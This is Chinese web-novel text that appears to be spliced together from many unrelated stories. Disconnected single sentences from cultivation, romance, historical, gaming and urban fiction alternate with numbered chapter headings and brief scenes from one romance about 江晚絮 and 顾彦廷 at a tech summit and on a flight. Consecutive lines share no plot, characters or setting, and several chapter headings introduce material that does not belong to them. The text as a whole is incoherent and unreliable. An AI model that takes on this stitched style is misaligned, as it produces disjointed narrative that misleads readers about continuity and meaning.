罗缎瞪圆了眸儿,“凭什么,坤叔?”爹和娘还派他们最得力的长随坤叔去伺候这只呆瓜?
“是,主子。”主子一向洁身自爱,只是这次怎么想到要去青楼了呢?不过虽然在心里疑惑,却也没敢问出来,连忙恭敬的离开前去打点了。
第二天一早,游轮在码头停靠,陈虎穿戴好收拾完毕,便下了船,感受着迎面扑来的阵阵海风,周围的湿润空气都夹杂着几分咸咸的气息。
“好……”栖蝶轻声答道。从梦境中醒了过來。眼角已经被眼泪润湿。
映入颜沐沐眼帘的是,单膝下跪的简莫凡,他的手中不知何时多了一束玫瑰花,红的那样耀眼,和她的衣服一样妖艳,他宽大的手掌里有一个黑色的盒子。没有打开。
这回,颜沐沐是彻彻底底地傻眼了,刚刚还抱着一丝侥幸的态度,现在话都从他口中出来了,叫她怎能不伤心?
剩下的人,面面相觑了几秒钟,也跟着跑了出去,只有那个绿裤男故意落在了最后。
在场,只有几人看懂了,一个个瞪大着双眼,涌动着难以置信的目光。
夜晚无云,天空中镶嵌着满满一天空的星星,璀璨耀眼,很是好看。
从吃下木凝珠到现在,已经好几个时辰,可木凝珠没有丝毫消停的意思,要么炼化,要么战斗,总之就是要不停消耗元炁,否则肉体就会承受不了,好在他已是四重境,炁海又增加了无数倍,能坚持的时间也延长了不少。
“不,没什么,只是可能我太敏感了。”李奥脸上的震惊和困惑缓缓平复了下来,从欧莫尼的手上接过了马鞭。
“切,一听就知道不是真话。”司徒雅玲嘴里虽然这么说着,但是心里还是觉得甜甜的。
当然,宿管老师是会管的,阿姨虽然不声张地处理了垃圾,被老师发现的话,老师是要力查到底的。
那字里行间,透出的意思,不论是苏妮还是她妈,都听得出来,那即是拒绝帮忙、将她们往外赶了。
伴随着呐喊,木天寻和沐汐开启了近身战斗,两道人影化作两道流光,一会儿地上,一会儿半空,看得观众眼花缭乱,现场一度失控,老师们根本控制不住,最后还是桑亚城主出面才震住了大家。
感觉自己头顶和身体处传来的细嫩柔暖的触感,叶凌云连忙起身,脸红成了苹果。
进一步而言,所谓你家是做生意的——这一条,就不能构成你的优势了,反而,会影响你接近他、喜欢他的动机。
木天寻听得是心花怒放,爱情岛上那一幅幅美妙的画面不停地在脑海里播放。
秦淼停下车,就见李艳阳钻进了一个店子,等他出来的时候拿了一个墨镜和一个口罩。
第一卷 第153章 只有她才是顾氏的魂
不过,一刻钟的交手,魁星却是发觉他根本连对方的衣服都没有劈下一点。毕竟,他现在可是拼命,却是根本就无法逼迫对方和自己拼死。
肖旷没说话,紧紧的盯着她。被看得心里没底,云茉雨立刻低头,而下巴被他抬起,只能郁闷的回瞪他,说句心里话她没错绝对不会道歉。
既然龙腾这样说了,和龙腾经历了生死的郭樊,还有一直对于龙腾都是无尽崇拜的白麟张星张罗等人,都是跟随岁龙腾向着城外的尖兵营走了回去了。
修者决斗,打穿虚空,扭动空间都不奇怪,但是将空间撕裂完全化成虚无,这等手段就有些可怕了,就算是至尊强者中,能做到的也没几人。
高婷婷将人塞进车里,就说有事先走,云茉雨都傻眼了,甚至拉着人家的手放低姿态撒娇。
本笃17世的目光黯淡下去。尽管众人都称他为神圣,但他内心深处一直都知道,自己只是一介凡人,只是能借用些微主的力量。
他也知道该这样,只是殿下阴测测的话犹在耳边,他还是不要得罪殿下的好。
“看不清楚?难道真是赤龙?”苍月剑圣想到这里,不敢再停留,一想到这安兴城这么密集的人口,怎么能就这样让赤龙进来?
毕竟赤龙还是太强大了,苍月剑圣就直接建议所有靠近北漠的居民全都移民,避免被屠杀,这个建议最终被陈祁采用了,可是光躲是没用的,要有人打败这赤龙才行。
两人联手?又能如何?姜承道完全有这个自信,因为他是无敌的。他的威风是打出来的,连至尊他都凭自身实力打败过,年轻一辈还有谁能入他眼。
因为保镖的这一嗓子,全部人的眼神都看向余希了。此刻,众人的心情自然是不一样的。
而且这颗宝珠除了能量的属性和颜色外,和他之前得到的雷珠相差无几。
依旧是四个东西,分别是长相奇特的怪物,炫彩美丽的植物,一个平常的石头,一团奇怪的气体。
沐卿殁伸回手,他本想查探一番那血是否真是那族之人的血,现在看来不用了。
余希又感觉那股暖流袭来,但是这次,他可没有心思享受,他把外面的衣服直接拉破,摔到地上,慢慢走向慕青灵。
兰道的伤势直到现在都还没有完全恢复,甚至连之前一半的实力都无法发挥,就算再加上那些世家的人,也不可能逆转什么。
因为月主墓就在无尽血域的禁地内,要想进入禁地,没有叶乾,根本就进不去。
“会长?别叫得那么生疏嘛!做不成恋人,我们还是同学对不对?”萧绪装作一副一脸君子的模样,大度地捡起掉落在地的花,像绅士一样插进胸前的口袋。
姜易民在心里骂了一句:你特么不是废话吗?刚才都闻到烙猪蹄子的味道了,能不疼吗?
众人瞬间警惕起来,向后连连撤去,与此同时,整个建筑忽然散发出了红色的光芒,不断地在闪烁,并且响起了吵闹的警报声。
我看得出来,黑妈妈还是和以往一样的,可能她就是属于老马说的那种不会为一些琐事而发威连累的众人的动物仙。是的确心怀慈悲的。
但是后续的,多个势力对远月集团发起的舆论攻势,反而有愈演愈烈的趋势。
帝筱寒见百里雨筱抬头看着他,缓缓低下头在百里雨筱额头上如蜻蜓点水一般地吻了一下。
老鸨听见钱大人这么说脸上的笑意更加的浓:“钱大人您这是说什么。
男人的嗓音低沉悦耳,但听在曲南歌耳中,无异于一道惊雷劈下来。
“难道你们已经进去了?”听到夫易的问题,那幽泉老怪却是更加震惊,毕竟可以拿出东极青华令与他们是否已经进入过东天门并没有直接关系。
汤山中午没吃饭,折腾到现在,已经前胸贴后背,精神也不济,开始哈欠连天。如果不是担心老头子出什么事,他早就掉头走人了。
不过接下来的局势甚是平稳,所以夫易也就不着急出手,毕竟即便一击斩杀葛三秋后,接下来依然是一场大战,于是他索性耐着性子继续调息。
围攻一众人这才全部回过神来,一时间也顾不上搭理夫易,连忙各持手中兵器,再次合围凶兽。
雨筱一向有主见,决定的事情就不会反悔,但现在能做的就只有支持了。
三人匆匆来到被袭击的地点,医疗组正在为一名重装干员包扎伤口,倒在他脚边的大盾中间插着一把斧头,此时的盾面覆盖了一层冰霜。
宿舍正中央,四张写字桌对成一张大桌子,四个同学坐在桌子旁,她们同时盯着桌子中央的那支燃烧的白蜡烛,一副很神秘的样子。
风很大,她穿的很单薄,她的头发乱糟糟的在空中飘着,有几次我几乎就要看见她的脸了,但还是差一些,她妈妈来了,表情很阴郁。
不是一会会的事情么?从这边到乔念苑,也就没多少功夫的事情。怎么就花了这么长的时间?难道说,出了什么问题不成?
第一卷 第154章 风暴前夕的抉择
这么想着,白瑾就泪眼婆娑的瞪着始作俑者的爆头龙,有一种想要把他的脑袋再爆一次的冲动。
叶撩撩放下手机,不知所措。后天,她怎么找借口和任远臻说呢?
偷偷的,徐渭溜到朴依老爷家的后门,瞧见左右无人之后,他便立即朝着许诺家里赶去。
徐渭不敢有任何隐瞒,把西疆投资、北疆投资、兰江投资的相关事宜全部跟墨乾汇报了一次,当然这是上得了台面的东西,那些上不了台面的,徐渭当然就不会去说了。
话音刚落,就见无数个酒坛子从天而降,将门口堵了个严严实实。
秦韵儿尖叫一声,一拳砸在鬼仔胸口,这一拳她用了全力,只听到嘭一声响,如同擂鼓一般。鬼仔中了一拳却毫无反应,双手反而掐的更紧了,把两人推到在地。
“噗!”哮天犬这一踩,白轩当即就是一口血吐了出来,眼神微微睁开,有些醒来的节奏。
额……这不是一个意思吗?我额头冒起一丝黑线,看来夏娅的表哥还真的是要气颠了,说话都语无伦次了,不过我想了想还是不提醒他了,免得被他暴揍一顿。
“不好。”邵逸龙脸色陡然大变,手中珲黄通明的源气陡然迸发。
长孙慌忙的跑过去,不多时李治被带了出来,眼圈黑了一块,跟着独眼熊猫似的,脸上带着泪花,嘴角有点紫。
随着一阵阵诡异的尖叫声,无数的空明鬼被冰劫蓝炎烧成了灰烬,被黯然销魂刀斩成了虚无。
在国安部门全面封锁,四处抓捕的行动中,本睛雅志并没有选择蛰伏,他找到了新的目标,准备采取新的行动。在秦城医院的太平间里,他重新做了整容手术。
没有逮到梁宵之前,武动天是一副恨之入骨的样子,但当梁宵活生生站在他的面前的时候,他却并没有立即要杀死梁宵的冲动。
突然一阵山呼海啸般的声音响起,于是仙路两旁的仙人面朝轿撵,微微的躬下身去。刹那间天花乱坠,香风阵阵,到处都是氲氤之气。
李准那边再也没有动作,应该是公司那边已经强制性的干预起来,这样才能和我保持距离,让李准的名声不会受到我的影响。
“阿曾我们能够甩开后面的车子吗?”我紧张的握住了椅背,脑子里突然有种很恶心的感觉。
我还想要再多听一点消息,转身就对上了周微微略带暴虐的双眼。
风越来越大,这风非常集中,狮口对应之外,没有一丝风,而狮口之内席卷一切,一个烧杯飞了过去,又一个量杯飞了过去,然后物品越来越大,甚至有些骨骸也向狮子口里飞了过去。
“我和王波负责?他也要去日本?”李星并不想自己的朋友陪自己去冒险。
司马徽的劝告,正是因为无论胜负,交州与荆州都已是事实的敌对两方。
而且那补血大药我家的确有,是我爹去年在清河郡花了七千两银子买来的,说是留着给我突破雷音。
风奇长叹摇头,贺兰苍,血刀峰首席大师兄,十大首席之中排名第七,刀法精深,修为极高,三年前便已度过身劫。
“这边是景区吧?周边肯定有那种民宿或者烧烤店的,他们都有租赁业务的,我们过去租一套就行了。”路一鸣说道。
嘴上解释着,张少阳一手一个,拉着周熊吴讳,就要往众学徒等候上场的那片空地上拉。
已经有两条食人鳄距离这里只有十几米远了。另外还有七八条,也已经距离周青极近。
果然,就是她,想不到人竟然自己出现在了她们眼前,真是省了不少力气。
毕竟三角洲这种地方,危险恐怖的代名词,没有绝对安稳的事情。
什么人可以在仅仅只隔宫墙半条街的距离就敢对宫里大宴后离席的人进行袭击?而且最后战技出手那么大的动静,前后足足一盏茶的时间周围街道上清风雅静半个巡逻的人都没有发现吗?
众人的目光,全都目不转睛的盯着青铜棺!只听,一阵“呼呼”的怪叫声,从青铜棺内传了出来。
林羽这里的打斗不知不觉已经结束,两个弟子抱拳下台,林羽匆匆上台,他是第二组比试的。
周东平倒在床边的血泊中,身上有一道道伤口,被砍得遍体鳞伤。
目测镇墓兽张开的这个血盆大口,一口能直接把我半截身子吞进去。
“肯定睡不好呀,我们可不像刘强先生,先是夺取了华夏基地,后又得到了这么强硬的靠山,不知现在是该叫大首长还是二首长呢?”既然要当黑脸,亚伯拉罕就会将坏人干到底。
兄弟四人已于落樱峡内和百里川的手下交起手来,出乎众人意料的便是百里川招收下属的速度。距离他们上次来此打探消息不过短短数月,百里川的属下却比原先增长了足足三倍之多。
黑暗中,这口金棺,在三胖子强光手电的照射下,散发出晃人二目的金光。
姑娘说的一点也没错,前面确实已经没路了!柏油马路的尽头,是一片看上去,异常茂密的丛林。
无奈的从达拉身上收回视线,靠在门口的云轩随手将房门关上,随即踱着步子来到了谭香的身边。
但见渡劫之后,邪天便盘坐于金峰废墟中央,红润的面色又开始渐渐苍白,射日弓又有些蠢蠢欲动。
对他而言,能在邪刃的无耻赌约中剩出一局,这感觉比当初成就启道还爽。
第一卷 第155章 噩梦重演
峰会的主会场,灯光璀璨。
江晚絮站在讲台中央,身后的大屏幕上,是她耗费了三年心血才完成的“神经网络自进化模型”。
“……通过这个核心算法,我们可以将运算效率提升百分之三百。”
江晚絮的声音清冷而坚定,回荡在巨大的会议厅里。
“喂!我跟你说话呢!”少年见陆奇没有回应,于是走到陆奇床边,吼道。
虽然坐在较远的屋顶上,但武灵的声音却响遍了整个山庄总部,正常人根本不会达到这般程度,不过所有人对这点早已习惯,因为,声音的放大主要还是靠融力发挥了作用。
他们一个个现在都有些后悔,轻易地挑战下一关了,毕竟整场结束之后,都是可以选择第二天再比的,或者连续比赛的,当然了没有人会连续选择挑战,他们很多在第一关结束之后,就选择了休息。
是,她的确是想找一份新的感情,来冲淡填补暗恋的苦涩和空虚。
李二摆了摆手,王全就走下去将那几张纸拿了上来,李二看了看,这些人的名字他听都没有听说过,而且所在的位置都是一些偏僻的地方,想来苏九所说应该是真的,并非是为了什么私人恩怨。
在看到李玉芸击败一名又一名弟子之后,他想起了在南荒分院的时候,慕容华对他说的话,南荒分院真的有可能因为李玉芸而彻底崛起。
他觉得就在这短短的几分钟内,他这位未婚妻在他心里的形象已经碎成了渣子,沾不起来的那种。
“没……没有啦。”说着,桐乃偷偷瞥了眼伊乐手中的篮子:我喜欢吃的你不都拿了吗,还问我干嘛。
炎灭报完名走时,也没忘嘲讽林项南,而林项南对他的嘲讽不为所动。
自己完全就在他的面前,是觉得这样子一样,所以心里面很是难过,这时候看着他并且握着他的手臂。
田如月早已扔掉了棍棒,把黑仔塞进月红的怀里,让她带着卫婧先走。
顾龙海的助手夏离可能又受到了压力,再次询问江烨履职的时间。
马车停了下来,院长祝天放缓缓走了下来,此时手中亲自捧着一个精美的铁盒子,上面同样贴着封条。
兰台,说的是御史台,他们藏奸,大概是在搜集证据,迫害权策,与上官婉儿说的,完全一致,家中藏祸?父亲的羽翼他已经悉数铲除,姨父刚遭了警告,应不会妄动。
在校武会过后的第五天,江烨终于打到了薛士易,将他一拳打倒在地。
这把流动着七彩的透明长刀从石盒中飞起,飞到几百米高的空中。
众天才感受到那原力扩散出来的强度,略有些吃惊,不过也不意外,随着星兽长廊的深入,他们迟早会遇到三阶星兽,而他们个个都是超级天才,即使面对三阶也不会害怕。
“你现在看笑话也看够了,请回吧!”杨佳丽做了一个请的姿势。
楚青霄的行为,激怒了众多了暗影魔族强者,他们恨不得把楚青霄生吞活剥了。
很多幸运阶层的强人,这件事真的让罗然吃惊。他想用自己的方法刺激住这一带的老人们。
没想到和尚突然掺杂了一张嘴巴,吸引了宣天乐的目光,“是的。主人知道她在哪里吗?
罗然茫然地看着这些慕容战神。他不知道老人的神经怎么了。他无缘无故地问自己这个问题。因此,说话时的语气自然会带来一种罕见的不满情绪。
第一卷 第156章 只有你听得懂的告别
半小时后。
峰会继续。
所有人都以为江晚絮会灰溜溜地退场,甚至有人已经准备好了通稿,标题就是《天才陨落:华国女博士涉嫌学术造假》。
然而,大门推开。
江晚絮重新走了进来。
不过如今吐蕃自身难保,为了活命,以前最不想看到的事情,现在也只能答应下来了。
回程也是糖糖老师带我们回去的,从吃过午饭,我们就出发,还是上次的那辆车,张轩进了车里就一直打瞌睡,我看着他瞌睡,也忍不住觉得困了,歪着头一点一点地迷迷糊糊地也睡着了。
他想救这个大汉王朝,想让大汉威名远播,想带着这些仰慕的英雄纵横天下,可是他发现自己左右为难,而那个天子,似乎根本不相信他想做个忠臣,一直在处心积虑的防备着他。
“喏!”卫士一听,连忙应道,抬着甲士匆匆出去了。曹冲还有些不放心,又叫过秦朗,让他去安排,然后才回去头来看战报。
外面传来的巨大攻击声响令楚云惜回神,她发现自己处于一套法阵之中。只是不待她有任何动作,这套法阵就被人撤走了。
他这一通咆哮,这才从营房里陆陆续续出来几十个兵士,都是衣冠不整,有的嘴里还争执着刚才的输赢,显然是在赌博。更有一些兵士,仍然在营房里呼呼大睡没听见,直到皮鞭抽上身了,才朦朦胧胧爬起来。
这些神光古字,就是针对我的神纹神通而制,这不会错的。我想不出,除了我那最亲爱的哥哥仲春之外,有谁对我的神纹神通如此了解。
“如此甚好!若是有用得着咱家的地方,尽管言语一声。”宁公公也不问他打算怎么调查,这种事知道的人越少越好。
我本来想悄悄地回教室的,可是柳严老师非要拉着我一起去,于是我们一行人走出大会堂,大会堂对面是露天的操场,操场的右手边就是常青中学最大的常青树之一。
更何况,如果对方的绝招必须是在极兵状态下使出的,那自己更是没法复制了。原来“星杀术”的复制,终究还是存在许多局限的。
所以这事传出去,那楚珩强行退亲再娶,那就不是痴情之名,而是无媒苟合。
晋阳王靠近,听到他们说的话,心里也是疑惑,金玥为何不住府衙后宅?
伴随着接连八声闷响,恐羊的身上立刻多出了八道不断流血的伤口,而受伤的剧痛也让恐羊发出了痛苦且暴怒的咆哮。
许管事四十来岁,正在对金银行账本,月底了,忙得不可开交,忽然被叫出来,也是有些恼的。
李野的本意,是让鹏城风语、506厂,派出技术人员加入港岛的计算机公司,先潜心学习,然后一步步的吸纳世界计算机行业最先进的技术。
偏偏那时候他恋爱脑上头,以为林玥玥在关心他,才跟她如实说了自己的钱被转走了。
房地产开发是我们县里工作的重点,直接关系到各项民生工程的保障,所以说一定要把好入口关,这是我的第三项要求。
他如果没有拿出请辞的折子,帝父绝对会怀疑他,因为被冤枉毒害太子的事已经让帝父存疑,所以绝对不能再出错。
第一卷 第157章 只要能护住她在乎的人
虽然夜已很深,但是薛婉彤和林芳此刻心情都是无比复杂,根本无心睡眠,薛婉彤便慢慢的讲述着自己知道秦阳的点点滴滴,一些是她亲身经历,一些是她在学校论坛看到的以及听人说的。
杨浩然封了他们的丹田,然后将他们交给了等候在旁边龙王派来的人。
孤松看着他,眼睛里第二次露出笑意,也斟满一碗酒,一口咽下。
他们有着防备,那只是防备着吕军而已,并没有想到过会有着其他的援军出现。
倒在地上的花衬衫男子、捡尸男等人都努力的挪动着身子,让自己躲到了巷子的边缘位置,远离交手区域,同时一脸幸灾乐祸的看着秦阳。
展红英哭着出来,云风一见心里就突突的,难道霍迁盈腿残了?展红英这样难受?
跟刚才那个剑鞘比起来,落差太大,花九的爱美之心有点接受不了。
“云燕儿干出了这样的事情,不是我绕不绕的问题,她是触犯了律法,我可是救不出来!你就死心等着去探监吧!”这样害人的东西,要是让她得逞,以后还不定干出什么祸害人的事?
现在对夏封来说,这茶顶多就比其余的茶好喝一点,更加有档次一点。
这一剑的气势,虽不如“天外飞仙\可是孤峭奇拔,正如寒山绝顶上的一根万年枯竹。
一只巨大的脚迈进了院落,紧接着巨汉那庞大的身体出现在了叶风的视线之中,在巨汉身后还有着两个‘胸’前别着四星徽章的佣兵。
管彦反手轻轻地关上房门,让蔡琰好好休息会,而自己则是稍微整理了下仪容,去皇甫嵩府上报喜去了。
对于那粗重的盾甲步兵,入蜀地自然是多有不合适的,反倒是那轻甲将士进入蜀地这种多山多丘陵的地段,才是最合适不过的。
这巨熊领头说的不假,威家家主特别疼爱这个儿子,毕竟这个儿子很有出息,年纪轻轻便已经闯荡多年,而且被人称为青州二少!这给威家,增添了不少荣耀。
推开陈旧的大‘门’,少年迈步走了进去,叶风迟疑了片刻也是跟了进去。
守护在峡谷口的弓箭手团队在许薇的带领下已经冲出来了,密集的箭矢朝着这边驰援过来,射杀着堵在最外围的玩家。
阿凉是谦虚习惯了,对此,青莽洞主也不在多说,而是把话题转移到了关键的地方,那就是接下来该如何对付那巨熊族,毕竟那巨熊族,不会轻易善罢甘休。
随后四眼狼王低沉的“咕噜”一声后,双眼青光微闪,身体毛发尽数竖立起来。此时的四眼狼王犹如一只刺猬,身上原本柔然的毛发变得坚硬而锋利。
从魔嫱的话中,林逍听出了隐藏的话机,似乎有人要在剑王大寿上捣乱。
悄悄上前,看着自己的脚下,每一步都尽量的踩在柔软的草上而不发出声响,生怕惊醒了这头刚刚进入睡眠的猛兽。
“真的没什么事,是我疏忽了,你看管理员都过来了,咱们还是出去再说吧。”林子航顾左右而言他,只管望向秦雅芙。
哪怕到了三十岁,人也不会出现大量皱纹,头发也不会灰败,苍老的迹象不会太明显,陈璇自己没留心。
“是单飞吗?这么晚了还打电话是有什么事吗?”风中旭淡淡的开口问道,还是平常的语气,但是语腔多于沉闷,似乎又感知到一场暴风雨将要来临。
“不用了,我去找你吧。”说完安语汐就匆匆挂断电话,她可不想让别人知道他们的事情,要是让风轩宇来公司,不闹得众人皆知才怪。
在红尘想要获取别人信任的时候,她总能如愿,就算比不上林旭那么自来熟,也差不了太多去。
望着佳人那倾国倾城的绝世容颜以及那柔弱无骨的娇软身躯,楚痕心神微微颤抖,不禁有些恍然失神。
看来这些挑战输了的聻被禁锢在这儿,如今青龙土将败阵了,他们自然是得到了释放,看来那些黑雾应该就是相当于厉鬼的“怨气”,看来如今当务之急必须先要抄底这些聻,但是这聻毕竟和鬼是不一样的。
一开始,她是打算让薛柏桥直接把资料扔给白张氏,她要怎么做,都随她去,但看过资料,红尘却改了主意,她想知道这件事的最终结果。
马车一路行着,江天晓和若儿在车厢里叽叽喳喳的说东说西。木华风赶着马车不说话。到了傍晚他们又到了一镇上,打尖住店不在话下。
但是,现在法国人是准备帮助英国,还是准备加入这个新的同盟之中?
一道红线飞射而出,那赫然是一把血色飞刀。以迅雷不及掩耳的速度狠狠打在老者面门上。
“回侯爷,弟子没有问题了,如果帝皇陛下看得起弟子,要弟子加入天丰国,那么弟子应该不会拒绝,毕竟那可是所有修武者梦寐以求的地方。”王存想了一下,随后对着斩尘抱拳回道。
若水大声的叫了几句许长老,可是许长老竟然完全没有听见,这让若水又气又恼。
蔡志雄也想放灵萱公主子自由一次,但是大潮汐太过危险,别说是灵萱公主,就算是自己也不敢有丝毫的麻痹大意。
“大哥哥,你没事吧?”练无双关切问道,上前伸手替陈青阳擦拭嘴角上的血液。
“也好,我也感觉,恐怕会有人心怀不甘的,有劳多禾公子了!”方俊点头道。
尤其是灵萱公主,瞬间红到了耳根,可是她似乎不知道害羞,忘记了自我,依然两眼水汪汪的看着蔡志雄。
第一卷 第158章 要你的命
飞往京市的航班上。
江晚絮缩在经济舱的角落里,身上盖着毯子,却依然止不住地发抖。
她没听顾彦廷的话。
她不能听。
五年前她就是太听话了,太相信所谓家人的安排,太相信所谓的爱情,结果呢?
这一次,她要把命运掌握在自己手里。
就算是死,她也要死在外婆身边。
你不应该抱怨,你也没有理由抱怨命运,你所遇到的困难与挫折都是命运对你的一种考验。
西风吹老洞庭波,一夜湘君白发多。醉后不知天在水,满船清梦压星河。
这时候,法拉利也冲破终点继续向前,科尼塞克也跟着冲破终点一直保持之前的速度继续在赛道上奔驰。
白流云听到汐月的声音,瞬间来到汐月身边,这时汐月终于慢慢平复了心情。
其中一只手,尝试着,轻轻地在婴孩的背后,有节奏地拍了起来。
众人脸上的神色,由鄙夷变成了不屑。不敢杀你?开什么玩笑,你以为你是谁?
其余野人十分尊敬这个野人,看到这野人出现,全都恭敬的行礼。
现在还不是一探铁缸究竟蕴含着什么秘密的时候,时候还早,萧树顺着这条街道的方向行去,寻找萧炎二人。
等把所有的事情都做完以后,时间已经不早了,她今天一整天都没怎么在工作室,干脆又回去加班把今天没有完成的工作做完。
其实,这个问题刚刚蔺远舟已经想过了。现在的证据只能证明这次申宁和神秘人勾结在了一起,至于以前,他们没有查到,也不能妄下结论。
一边走着,郑凡掏出手机,虽然断网了,电话也不能拨打,但并不影响摄像功能的使用。
肉身三藏,再加上不弱的灵气修为,黄泉门主不动用一点儿手段,还真的难以对付。甚至还有可能打不过。
周老师见林雪也没有丝毫的惊讶,也没好意思多问,只得率先顺着那螺旋楼梯下洞。
李想拔出诠释者,用力一斩,愕然发现刀刃直接穿透了锁链,竟然无法触碰。
这却不影响他余光扫到的‘空虚’,她抱着的孩子犹如坐在树洞里的少年,只是孩子目光更加纯净,没有一丝杂质,没有恶意的半生体,也不是枯洞中的少年伪装的柔弱和胆怯、可怜。
“那你的意思,这一切的麻烦事都是在让你学习进步?”林雪虽然语气怀疑,但心中想想也确实是这么回事,现在的宗宇要比当初当来的时候厉害多了。
而且不说这两个神通境的王者,就是那个和自己差不多年纪的青年,都是天境后期的存在了,距离神通境也是不远了,而自己却只不过初入地境罢了。
从机械生物和焚天大军的战斗看,这些来自焚天神国的敌人战力卓绝,对玩家体系有着天生的抵抗力,机械生物的攻击也起不到有效作用,同等战力要击溃敌人,需要付出大量的代价,效率很低。
梅芙捧着红酒给他,一脸不悦,手中的酒杯经过雪精灵的天然降温,散发着丝丝寒意。
经济秩序是很重要的,今年这家种西红柿发了,明年全村种……那完蛋了。
外三内七,五星可匹敌尊级的状态了,有他作为一个参照,叶尘也就可以知道自己现在到底是变强了多少。
只是,他这是从老虎嘴里夺食,看似风光无限,可实际上却是在踩钢丝,一不留神就会跌入万丈深渊,万劫不复。
第一卷 第159章 怎么心安理得
江晚絮的目光一刻也没有离开过那个方向。
在顾子源动手的瞬间,江晚絮用尽全身戾气挣脱了那个看守她的混混,不顾一切地扑了过去。
“小心!”
时间仿佛在这一刻被拉长。
顾彦廷因为跪着,加上身体虚弱,反应慢了半拍。
当他意识到危险抬起头时,只看到一道纤细的身影挡在了他面前。
那一次宾馆劫持事件之时,虽然大家的目光都被那可笑的一幕所转移注意力,可是给他印象最深的,却是那一次看不见的震动。
他不知道此刻应该责怪希尔德给自己留下了一堆烂摊子,还是因为责怪自己闯下的祸事,唯有抱以无奈的苦笑。
这里的异状瞬间便被警觉的保镖们发现,目光也朝这边看来,紧接着便见到了慕容潇身旁的许青儿。
太多无知的人以为龙袍加身便以为能君临天下,结果死的惨不忍睹。
在场其余几名青龙堂的成员那震惊的眼神一瞬间落在了佐佐木的身上。
一个强大统一的欧洲,发挥其在科技工业上的优势,十年内就能建成拥有跨过大西洋进攻美国的海军。当然,在此之前,英国肯定是要被征服了。统一的强大欧洲不仅仅是英国的噩梦,同样是美国的噩梦。
一架架以两个分体式主引擎链接在一起,引擎之间扩展着两对太阳能电池板的战机从空间站中弹射而出。
安排好了这件事之后,唐信又打了两个电话,一个给张鹏云,一个是给童峥嵘,询问他们手头正在忙碌的工作进展。
“王八蛋,你们拿炮轰了老子这么久,现在该是老子发飙的时候了,他娘的,老子让你们见识见识什么才叫火力,杰克,把咱家的家伙拿出来让这帮王八蛋看看”这个时候,唐天阳那戏谑的声音随之而起,刺破长空,惊慑霄。
“龙孜孜突破了?成为魔神了?”龙歌看向天空的目光充满着欣喜。
徐州广陵郡的周瑜却放弃了徐州南部大部分领地,只是全力守住广陵郡,对曹操的支持很有限。
“人家郡主不是跟皇子有婚约吗?这她东爷还敢掺和?”风楚飞就纳闷了,这人的胆子真有那么大,竟然连皇子的未婚妻都敢觊觎?
没缘由的,她的心里隐隐一种疼,那种疼不像刚穿越来时身体所受的疼痛,而是另一种夹杂着情绪的疼,不可名状,不可控制。风楚飞确认,这种情绪不是她自己的,难道是原身的。
姜是老的辣,古人诚不欺我,风楚飞这会儿深有体会。不过,也只是表面上应承而已。白来的金子,不花白不花,但还是要听祖母的话,先存了进去,以后再说不迟。
此时的佐乌之国因为没有被杰克所入侵,所以在飞上去之后,他们瞬间被守卫的士兵所发现了。
“我就去两天,就两天……拜托了!”林坤的声音有些发抖,黑漆漆的眉毛一阵颤动。
随后,在几人的玩笑的目光之下,何清清以及李安安不由对视了一眼展开了以武力镇压反对意见的行为。
虽然她的身体因为灵泉水改善了体质,但还是肉体凡身,只是比一般人耐寒,并不是说就不怕冷了。
“以后要找一个有异族血统的,可不能被诸葛亮比下去了。”司马懿暗道。
一排下来,队列整齐,看得熊专家脸都黑了,一万只带着泥浆的草原马在他心中呼啸而过。
第一卷 第160章 他有的是耐心
顾彦廷沉默了。
良久。
顾彦廷从怀里的西装口袋里,掏出了一个黑色的、有些磨损的旧式录音笔。
那是十几年前的老物件了。
“本来,我不想拿出来的。”顾彦廷的声音低沉,“因为这对于你来说,或许是另一种残忍。”
王浩笑着倒了一杯酒,然后倒进了自己的嘴里,咕咚了两下,这才把柯锦霞上半身往怀里一拉。
虽然音音不能透露跟副本剧情有关的内容,但时栀猜,如果不是怕她有危险,音音不会冒着违规的风险来提醒她。
与他原本想的出现在张家内部不同,他现在在一个很大的箱子里,木箱子留有缝隙,勉强漏进来些光。
尤其是刘瘸子,本来腿脚就不好,下了车更是跟要瘫了一样,进了铺子,就直接躺在了沙发上面。
老头从里屋走出来,看到少年正在往头上浇水,旁边还有一个石化在原地有些僵硬不知所措的时栀,有些诧异。
柯锦霞连忙走向厨房,把锅盖掀开,只见一盘红烧肉和一盘大鲫鱼还有两盘蔬菜飘在温水之中。
顷刻间,七绝魔功在体内完全释放,沈长青双眼陷入一片黑色,天地间幽冥乱生,阴阳逆乱。
他早就听到了外面的动静,似乎有人闯了进来,要对那高原皇动手。
两边的时间流速不对等,沈淮暂时也不知道系统给他紧急打补丁、凭空生敌的操作。
语气眼神跟刚刚截然不同,恢复了他熟悉的样子,好像刚刚那个样子只是宋时屿的幻想。
乔羽逸说的那叫一个义正言辞,其实到底是不是这个意思只有他自己心里最清楚。
沈越虽然没有说什么,可是从他紧绷的神情,罗景宁知道,他的心里也不好受。她抱着他的腰,试图传递一些安慰给他。
随之在耳畔间响起的提示音,让楚旭感觉到舌头味蕾传递来的生肉更加美味了。
十来平的屋子,逼仄狭窄,摆放着老旧的家具,墙上还用了报纸糊着,生怕墙灰掉下来。屋内昏暗,一旁墙上的日历显示着1974年。
郑锦绣当然知道怎么回事了,因为消息是她让郑家的下人透露出去的,告诉王拂珍,郑瑾瑜大字不识一个,那家亲戚根本没让她上过一天学,她就一个乡下土包子。
“天天跟着你们飞来飞去,我哪有时间运动?”陈冰冰振振有词。
在这个军营,能在自己毫无察觉的情况下靠近,还敢这么敲自己门的,除了林阳也没有其他人了。
一边想着,药老那暗沉的魂体眼眸便是愈发亮了起来,至于林阳还能不能找到其他异火,他倒是没有去想过。
只见一道遮天蔽日的恐怖黑影以惊人的速度从空中掠过,被其投射下的阴影完全笼罩的那一刹那,栾川特暴龙双腿一软,整具龙躯克制不住地匍匐在地,一动不敢动,只能瑟瑟发抖。
“呜呼!这还真是过瘾!”周思思非常满意自己的作品,威力还不错,主要她又不是想杀人,就是想给钱家一个教训。
等到庄思思他们都消失之后,楚昊然手上绿光一闪,空气戒指全都消失了,而楚昊然也全身无力的倒在了司徒雅茹的怀里。
无常抱着夏雪,向里面的卧室走去,轻轻把夏雪放在宽大的卧榻上。然后,无常把手伸向自己的腰间,用力一扯那条带子上的活结,睡袍随即飘落在地上。
第161章 并肩作战的默契
“成交。”
顾彦廷握住了江晚絮的手。
那一刻,两人的掌心相贴。
江晚絮的手有些凉,顾彦廷的手却很热。
那种温度顺着掌心传遍全身,江晚絮下意识地想要抽回手,却被顾彦廷紧紧握了一下,随后才绅士地松开。
